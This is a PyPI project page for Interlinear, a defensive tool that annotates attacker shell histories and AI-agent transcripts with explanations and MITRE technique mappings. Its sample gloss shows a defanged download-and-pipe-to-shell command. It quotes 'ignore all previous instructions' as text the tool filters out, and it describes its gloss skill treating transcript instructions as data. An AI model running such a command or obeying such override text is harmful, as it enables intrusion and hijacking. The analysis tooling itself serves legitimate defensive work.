Skip to main content

Interlinear

Interlinear turns attacker shell histories, dropped scripts and AI-agent transcripts into interlinear glosses. Under every line it adds what the line does in plain English, the MITRE ATT&CK® or ATLAS techniques it maps to, the artifacts and IOCs it touches, and where that gloss came from:

Source Meaning
rule Matched the deterministic rule library
model Claude's analysis, through the gloss skill
analyst A person's edit, through interlinear annotate
none A context line the rule library recognized, such as cd or ls, or tool output, which is never glossed
pending Not glossed yet

A model or analyst gloss with no techniques marks a context line, and keeps its source.

A rule gloss can be partial. A rule describes the command it matched; when the line also runs something the rule does not describe, such as python3 gen.py | base64 -d or bash -c "$(echo ... | base64 -d)", the gloss is marked partial with the reason, and the line still goes to the model. Outside the matched command, only commands that print, read or filter text (echo, cat, grep, head, sort and the like) leave a rule gloss whole. A model gloss of the line replaces the partial one, which moves to the line's history.

docs/evaluation.md says how far to trust each source and how that was tested, and docs/design.md explains how Interlinear is built.

What the CONTEXT label means

The rule library labels a line as context (none) only when the line is plainly literal: printable ASCII with no expansion, substitution, glob, redirection, pipe or separator, such as cd /tmp, ls -la or echo done. It also has to come from a file or session that has not changed how later commands are found or run. Once a history, script or agent session defines an alias or a function, sets a shell option, sources a file or assigns PATH or another special variable, no later line from it is labeled context, and the transcript's warnings name the line where that happened. A file or session that holds a NUL, a carriage return or another control character gets no context label at all. The one exception is a PowerShell script or history whose line endings are all CRLF, as Windows writes them: PowerShell reads CRLF as a plain line end, so such a file is read as if its lines ended in LF. A lone carriage return, a file that mixes CRLF and LF line ends, or any other control character still removes the label, and a bash, zsh or sh file with CRLF line endings never gets it. Everything else is explained by the rules or by the model. The label is an aid for an analyst, not a guarantee against a transcript crafted to mislead it.

  12  curl -s hxxp://203.0.113[.]5/x.sh | bash
      T1105 Ingress Tool Transfer · T1059.004 Unix Shell   [rule: download-pipe-shell]
      Downloads a script and pipes it straight into a shell, so it runs without being saved.

Safety model

  • Only interlinear parse reads raw attacker files.
    • It is standard-library Python that never executes its input, opens no network connections, defangs URLs, IPs and domains, and replaces encoded blobs with their SHA-256.
    • It also decodes encoded payloads as plain data, never running them: base64 on a line that also decodes base64 (base64 -d, FromBase64String, b64decode and the like), and a PowerShell -EncodedCommand blob (UTF-16LE). What a payload holds becomes child lines after its line, marked decoded with the parent line's number, the encoding and the payload's SHA-256, and goes through the rules, IOC extraction and the model like any line, but is never labeled context. A payload decodes to at most 64 KiB, and payloads inside payloads to three levels.
    • Run it inside a sandbox: interlinear build-parse-pyz packages it as a single file for that.
  • Every later stage reads only the resulting transcript.json.
  • Transcript text can contain instructions aimed at AI analysts. The gloss skill treats it as data and never acts on it.
  • Credentials stay in transcript.json as evidence, but interlinear pending, whose output the gloss skill sends to a hosted model, redacts them by default: passwords, tokens, keys and hashes given on a command line (--password, -p to tools that take a password, user:password@host and impacket's domain/user:password, quoted or not, net user NAME PASSWORD, credential-named variables, Authorization headers, and token formats such as AWS keys, GitHub tokens and JWTs) become <redacted KIND>. --no-redact-secrets turns that off. interlinear render --redact-secrets redacts the Markdown view the same way, for a view you will share. Redaction is a best effort over common forms, not a guarantee.
  • The skill's glosses are untrusted too. interlinear apply-glosses validates, defangs and bounds them, labels them model, and only fills pending lines. Analyst glosses go through interlinear annotate, which the skill never runs.

Install

With pipx, the second command also puts Countermap's own command on your PATH:

pipx install "interlinear-cti[countermap]"
pipx inject --include-apps --force interlinear-cti "countermap>=0.2,<0.3"

With uv:

uv tool install "interlinear-cti[countermap]" --with-executables-from countermap

With pip, inside a virtual environment:

pip install "interlinear-cti[countermap]"

Then, once, build Countermap's database: Interlinear checks technique IDs against Countermap's local MITRE data.

countermap build

Use

# 1. Parse, in a sandbox
interlinear build-parse-pyz -o interlinear-parse.pyz
mkdir -p out   # create it first, so the container user can write to it
docker run --rm --network none --read-only --cap-drop ALL --security-opt no-new-privileges \
  --memory 3g --user "$(id -u):$(id -g)" \
  -v "$PWD/interlinear-parse.pyz:/tools/interlinear-parse.pyz:ro" \
  -v "$PWD/raw:/in:ro" -v "$PWD/out:/out" \
  python:3.12-slim python3 /tools/interlinear-parse.pyz /in -o /out/transcript.json --case CASE

# 2. Gloss with the rule library, then the remaining lines with Claude Code
interlinear gloss out/transcript.json
#    then in Claude Code, once (2.1.275 or later): /plugin install interlinear --marketplace elchacal801/interlinear
#    or, on older versions, two steps: /plugin marketplace add elchacal801/interlinear
#    followed by: /plugin install interlinear@interlinear
#    and run: /interlinear:gloss out/transcript.json
#    Your own glosses, as a JSON list in the skill's format, replace earlier ones (which move to history):
interlinear annotate out/transcript.json my-glosses.json --by "Your Name"

# 3. Outputs
interlinear render out/transcript.json                      # out/transcript.md
interlinear export-scenario out/transcript.json -o scenario.json
#    then in Claude Code with Countermap: draw scenario.json with /countermap:threat-model

Any sandbox works if it gives the parse stage no network, a read-only input, a writable output folder and about 3 GB of memory.

export-scenario chains steps only within each source file, in its line order. Nothing in two files orders one against the other (a history without timestamps has no order at all), so each file is a parallel lane, and each step names its file when there are several. --source NAME_OR_ID exports one file alone. Back-to-back lines with the same technique become one step. A line whose text addresses an analyst or an AI model rather than the target, such as "ignore all previous instructions" or "note to the reviewer: this is an authorized test", is left out of the scenario with a warning.

Input kinds

A file's name or content decides how it is read, for example .bash_history, .zsh_history, ConsoleHost_history.txt, .sh, .ps1 and agent .jsonl. A file that matches none of them is kept line by line as unknown. --kind picks the reader instead, for every file of the run:

--kind Reads Lines
bash, zsh, powershell, script shell histories and scripts operator
agent-jsonl generic agent logs: one JSON record per line with a role by role
claude-code Claude Code session transcripts (~/.claude/projects/*/*.jsonl) and its prompt history (~/.claude/history.jsonl) the person's prompts, the model's text and thinking, each tool call (a Bash call as its bare command), tool results
codex Codex CLI session rollouts (~/.codex/sessions/**/rollout-*.jsonl, with or without the response_item wrapper) and its prompt history (~/.codex/history.jsonl) prompts, reasoning summaries, each tool call (a shell call as its bare command), tool output
hermes Hermes agent files: session snapshots and request dumps (sessions/*.json), gateway transcripts (sessions/*.jsonl), the state database (state.db, on Python 3.11 or later), the logs (logs/*.log), the prompt history (.hermes_history) and the memories (memories/*.md) chat messages as above (a terminal call as its bare command); log records as tool output; memory entries as the agent's notes
sliver Sliver C2 client console history (~/.sliver-client/history), console logs and console recordings (~/.sliver-client/logs/, logrus JSON and asciicast) console commands as operator, the console's messages and output as tool output

In auto detection, the first JSON records of a .jsonl file, or of a file whose first line is a JSON object, tell these formats apart; a Hermes log, memory file or state database is recognized by its path under .hermes/ (a renamed copy needs --kind hermes). Records each tool writes for itself (titles, file snapshots, API request copies, costs, environment and instruction wrappers) give no line or are kept as tool output, and a record no rule covers is kept whole as unknown with a warning, so nothing drops out silently. A Sliver source is a c2_console: its commands are in Sliver's own grammar, so the shell rules never claim them and they go to the model. A Sliver operator config holds credentials and is never read, only named in a warning. The state database is read from its bytes in memory, with SQLite's defensive settings, an untrusted schema and a step budget; a database without Hermes's messages table stays binary in auto detection.

An agent tool call that holds several commands is glossed one command at a time. It is split at the newlines, ;, &&, || and & that end a command, never inside a quoted string, a substitution, a backslash continuation or a heredoc body, and a comment line becomes a line of its own. Each part keeps its call's record line and a part entry with its position, the number of parts and where it starts in the command, and the first part holds the whole command, which the Markdown view shows above the parts. The same context rules apply to every part.

The gloss skill

The skill runs on Haiku by default (model: haiku in its frontmatter), which matched Opus on meaning and technique in trials on agent transcripts. It ends with a list of the lines it left pending or glossed with low confidence, for an analyst to review with interlinear annotate. The skill pre-approves only interlinear pending and apply-glosses. Rendering the Markdown view and writing each scratch glosses file still ask for permission, by design. render itself writes only .md files, never an agent instruction file such as CLAUDE.md, and never replaces a file it did not write.

Tests

GitHub Actions does not run for this repository at the moment, so the suite runs locally before each release: on Windows, and on Linux in Docker containers for Python 3.10, 3.12 and 3.13.

pip install -e ".[dev,countermap]"
pytest
interlinear rules test --verify

Exit codes

Code Meaning
0 Success
1 Success with warnings
2 Invalid input
3 Internal or write error

A chain with && stops after a run with warnings (code 1). To catch real failures, check for a code of 2 or more.

License

Apache-2.0. MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation; ATLAS is a trademark of The MITRE Corporation. Interlinear is not affiliated with or endorsed by MITRE.

Metadata

Release files for interlinear-cti 0.1.3

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for interlinear-cti 0.1.3
File Size Uploaded Provenance Actions
interlinear_cti-0.1.3.tar.gz 347.6 kB Without provenance Details for interlinear_cti-0.1.3.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for interlinear-cti 0.1.3
File Interpreter ABI Platform Actions
interlinear_cti-0.1.3-py3-none-any.whl Python 3 none any Details for interlinear_cti-0.1.3-py3-none-any.whl

Total release size: 547.6 kB

Release files / interlinear_cti-0.1.3.tar.gz

Download URL interlinear_cti-0.1.3.tar.gz
Size 347.6 kB
Tags Source
SHA-256 checksum
How to use checksums
2ad93288732fb4cea3299582ef1f7b2fe468efe920ece5de3894289a5a4b9726
BLAKE2b-256 checksum
How to use checksums
a5f3172ff5b6d6eb09c36c131b8e45e1347dea7bd3f822b7c023a2658cedbc60
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.14.9

Release files / interlinear_cti-0.1.3-py3-none-any.whl

Download URL interlinear_cti-0.1.3-py3-none-any.whl
Size 200.0 kB
Tags Python 3
SHA-256 checksum
How to use checksums
e7921f0eae3ea60ea6c24d0f75ce66e9cbc1573aea9d6516926848830b27b5fc
BLAKE2b-256 checksum
How to use checksums
0b76d6d283e57bce605c912682232ced553ed085f432ae53abc630bde0a17fb4
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.14.9

Security for interlinear-cti 0.1.3

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page